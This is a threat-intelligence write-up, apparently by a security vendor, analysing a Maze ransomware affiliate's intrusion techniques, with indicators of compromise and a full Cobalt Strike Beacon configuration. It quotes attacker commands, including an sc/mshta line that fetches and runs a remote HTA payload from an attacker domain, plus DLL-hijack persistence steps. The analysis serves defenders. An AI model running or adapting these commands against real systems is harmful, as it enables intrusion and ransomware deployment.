Executive Summary
- Maze ransomware is one of the most widespread ransomware strains currently in the wild and is distributed by different capable actors.
- We discovered a Maze affiliate deploying tailor-made persistence methods prior to delivering the ransomware.
- The actor appears to have used a stolen certificate to sign its Beacon stager.
- In common with other attacks, the actor used an HTA payload as an interactive shell, which we were able to catch live and deobfuscate.
Background
Maze ransomware has been used extensively in the last year or so as the final payload by many different actors around the world. This year, Maze operators notoriously began extorting companies not just by encrypting files but also through threatening to publish exfiltrated files online. We recently caught one Maze affiliate at the early stage of attempting to spread through a network belonging to one of our clients.
In this post, we share details about the methods used by this Maze affiliate in order to shed light on their tactics and to help security teams hunt for similar IOCs in their own networks.
Attack Entry Point
As previously reported in other Maze incidents, the attackers used RDP to gain access to an internet-facing machine, probably by brute-forcing the Administrator’s password. One of the attacks against a US company began on Saturday the 4th of July, a date obviously chosen in the hope that many people – particularly security staff – might not be at work that day.
The attackers connected using RDP and uploaded their beacon payload, disguised as a known Microsoft binary named netplwiz.exe. Their payload had the same icon and description as the genuine binary of the same name and was also signed, most likely with a stolen certificate.
Sysinternals’ sigcheck.exe on original netplwiz.exe:
c:windowssystem32Netplwiz.exe: Verified: Signed Signing date: 10:29 AM 6/6/2020 Publisher: Microsoft Windows Company: Microsoft Corporation Description: Advanced User Accounts Control Panel Product: Microsoft« Windows« Operating System Prod version: 10.0.18362.1 File version: 10.0.18362.1 (WinBuild.160101.0800)
In the malicious netplwiz.exe, we can see the stolen certificate:
c:huntingcwcnetplwiz.exe.mal: Verified: Signed Signing date: 8:05 PM 7/3/2020 Publisher: Clubessential, LLC. Company: Microsoft Corporation Description: Advanced User Accounts Control Panel Product: Microsoft« Windows« Operating System Prod version: 6.1.7600.16385 File version: 6.1.7600.16385 (win7_rtm.090713-1255)
A closer look at the certificate:
This executable is a simple packer that loads Cobalt Strike’s Beacon version 4. This packer is pretty simple, and does the following:
- Hides their window
- Checks for a debugger using isDebuggerPresent
- Decodes a XOR’ed stageless beacon (note – using VirtualAllocExNuma for memory allocation instead of the more commonly used VirtualAlloc/Ex)
- Executes the beacon
The decoding function looks like this:
We dumped the beacon from memory and parsed its configuration:
Tailor-Made Persistence Mechanisms
Although the entry method is pretty common, the attackers displayed great creativity in their persistence methods, which were tailor-made to the machine they found themselves on.
For example, one host was running a SolarWinds Orion instance. This Orion product uses RabbitMQ as the internal messaging component and is installed with the product. RabbitMQ is written in Erlang, and therefore uses the Erlang runtime service (erlsrv.exe) to run.
The attackers relied on this dependency chain to spawn themselves in this erlsrv.exe process and to gain persistence on the host, as the RabbitMQ service is running erlsrv.exe.
We could see this when the attackers dropped two DLLs containing their beacon stager to disk and then began interfering with the RabbitMQ service:
tasklist /SVC sc qc RabbitMQ Uploaded: C:Program Files (x86)SolarWindsOrionErlangerts-7.1binacluapi.dll Uploaded: C:Program Files (x86)SolarWindsOrionErlangerts-7.1binversion.dll sc stop RabbitMQ sc start RabbitMQ
The DLL that was hijacked is version.dll, which is normally loaded from the system32 folder. By dropping it in the same folder as erlsrv.exe, it loaded their version.dll, and it loaded acluapi.dll containing the beacon.
After restarting the RabbitMQ service, a Cobalt Strike Beacon started communicating to the same domain as the one from netplwiz, but this time from erlsrv.exe and SYSTEM integrity level.
In another case showing similar adaptation to the local environment, the attackers targeted the Java Updater which runs when the computer starts and dropped a DLL that is loaded by jusched.exe when it starts.
After installing persistency, the attackers did some domain reconnaissance and uploaded ngrok to C:Windowsdwm.exe and used it for tunneling.
They also ran this:
sc config UI0Detect start= disabled
The UI0Detect, like the name implies, detects and alerts the user if a program in session 0 tries to interact with the desktop. It’s important for them to disable this service in order to avoid alerting the user in case they accidentally pop a message box or starting a GUI application while running as SYSTEM.
HTA Payload
When they found an interesting server they wanted to laterally move to, they used sc.exe and deployed a tool that gave them an online shell on that target.
Specifically, they ran this command (IP changed):
sc 192.168.90.90 config MiExchange binPath= "c:windowssystem32cmd.exe /c start mshta http://crt.officecloud[.]top/st"
They used mshta to run an HTA payload that was hosted on their site. We believe the HTA is their way of working online on remote computers before deploying their Cobalt Strike Beacon, if they believe it’s worth it.
The HTA payload is a somewhat sophisticated and automatically obfuscated code that we believe is self-made (as we’ve found no evidence of it online).
You can see the obfuscated and our de-obfuscated version here.
When ran, it first sends some basic information of the computer, such as OS Version, routing info, Domain Controller name (if the computer is member of a domain) and more:
The payload contains a variable that is empty when it is first run. In this case, it runs another HTA from the server using mshta.exe, which is identical to itself except that the variable now contains the value “prfx” instead of being empty.
Consequently, it enters a loop of running HTAs from the server.
The simplified code looks as follows:
try { if (mainFuncStruct.emptyIfFirstRun != "prfx") { try { mainFuncStruct.funcStruct6.runMshtaFromCNC(""); } catch (e) { mainFuncStruct.funcStruct6.sendErrorDataToCNC(e) } mainFuncStruct.killSelf(); } else { if (mainFuncStruct.isRunningInMshta()) LimitedRunLoop(); else InfiniteRunLoop(); } } catch (e) { mainFuncStruct.funcStruct6.sendErrorDataToCNC(e); }
The payload is interesting because it has some unique behavior:
- It can be run both as a JScript file and as an HTA file
- It never receives simple cmd.exe commands from the server, only HTAs (that may run cmd.exe themselves)
- It’s obfuscated automatically and differently every time it is requested from the server
Also worth noting from a hunting perspective is that it runs net1.exe directly, instead of net.exe, probably to evade EDR and command-line based detection methods.
Conclusion
All of the above shows that these are very capable attackers. Although they used mostly known methods, they also showed some creativity to compromise targets successfully and move laterally inside them with ease and speed. However, they were still caught and mitigated by the SentinelOne agent before any harm was done.
As their HTA-serving server is still online, and since this campaign is still going strong, we recommend security teams to check for the following IOCs in their EDR data or SIEM and quickly mitigate any that are found to prevent the ransomware being deployed.
Indicators of Compromise
HTA Payload Servers
crt.officecloud[.]top
crt.globalsign[.]icu
mhennigan.safedatasystems[.]com
CS Beacon Server
ocspverisign[.]pw
Other Tools Used
ngrok.exe
Certificate signer: “Clubessential, LLC.”
Full Beacon Configuration
BeaconType - HTTPS Port - 443 SleepTime - 61107 MaxGetSize - 1048580 Jitter - 13 MaxDNS - 245 C2Server - pkcs.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC crl.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC pfx.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD2BOyl2B0LhPg9JxyQm UserAgent - Microsoft-CryptoAPI/10.0 HttpPostUri - /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ HttpGet_Metadata - Cookie: cdn=ocsp; Cookie HttpPost_Metadata - Content-Type: application/ocsp-request Cookie: cdn=ocsp; u DNS_Idle - 8.8.8.8 DNS_Sleep - 0 HttpGet_Verb - GET HttpPost_Verb - POST HttpPostChunk - 0 Spawnto_x86 - %windir%syswow64werfault.exe Spawnto_x64 - %windir%sysnativewuauclt.exe CryptoScheme - 0 Proxy_Behavior - Use IE settings Watermark - 305419896 bStageCleanup - False bCFGCaution - False KillDate - 0 bProcInject_StartRWX - True bProcInject_UseRWX - False bProcInject_MinAllocSize - 21036 ProcInject_PrependAppend_x86 - b'x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90' Empty ProcInject_PrependAppend_x64 - b'x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90' Empty ProcInject_Execute - ntdll.dll:RtlUserThreadStart SetThreadContext RtlCreateUserThread ProcInject_AllocationMethod - VirtualAllocEx bUsesCookies - True